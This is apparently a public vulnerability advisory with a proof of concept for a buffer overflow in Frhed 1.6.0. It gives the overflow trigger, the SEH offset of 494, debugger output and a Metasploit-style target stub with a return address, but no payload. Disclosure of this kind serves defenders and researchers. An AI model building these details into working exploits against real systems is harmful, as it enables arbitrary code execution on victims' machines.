Frhed 1.6.0 Buffer Overflow

`# Exploit Title: Frhed (Free hex editor) v1.6.0 - Buffer overflow  
# Discovery by: Rafael Pedrero  
# Discovery Date: 2022-01-09  
# Vendor Homepage: http://frhed.sourceforge.net/  
# Software Link : http://frhed.sourceforge.net/  
# Tested Version: 1.6.0  
# Tested on: Windows 10  
  
CVSS v3: 7.3  
CVSS vector: CVSS:3.0/AV:L/AC:L/PR:L/UI:R/S:U/C:H/I:H/A:H  
CWE: CWE-119  
  
Buffer overflow controlling the Structured Exception Handler (SEH) records  
in Frhed (Free hex editor) v1.6.0, and possibly other versions, may allow  
attackers to execute arbitrary code via a long file name argument.  
  
Proof of concept:  
  
Open Frhed.exe from command line with a large string in Arguments, more  
than 494 chars:  
  
File '<Frhed_PATH>\Frhed.exe'  
Arguments  
'Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4...'  
  
SEH chain of main thread  
Address SE handler  
0018FC8C 41367141  
35714134 *** CORRUPT ENTRY ***  
  
0BADF00D [+] Examining SEH chain  
0BADF00D SEH record (nseh field) at 0x0018fc8c overwritten with  
normal pattern : 0x35714134 (offset 494), followed by 876 bytes of cyclic  
data after the handler  
  
0BADF00D ------------------------------  
'Targets' =>  
[  
[ '<fill in the OS/app version here>',  
{  
'Ret' => 0x00401ba7, #  
pop ecx # pop ecx # ret - Frhed.exe (change this value by other without  
\x00)  
'Offset' => 494  
}  
],  
],  
  
  
`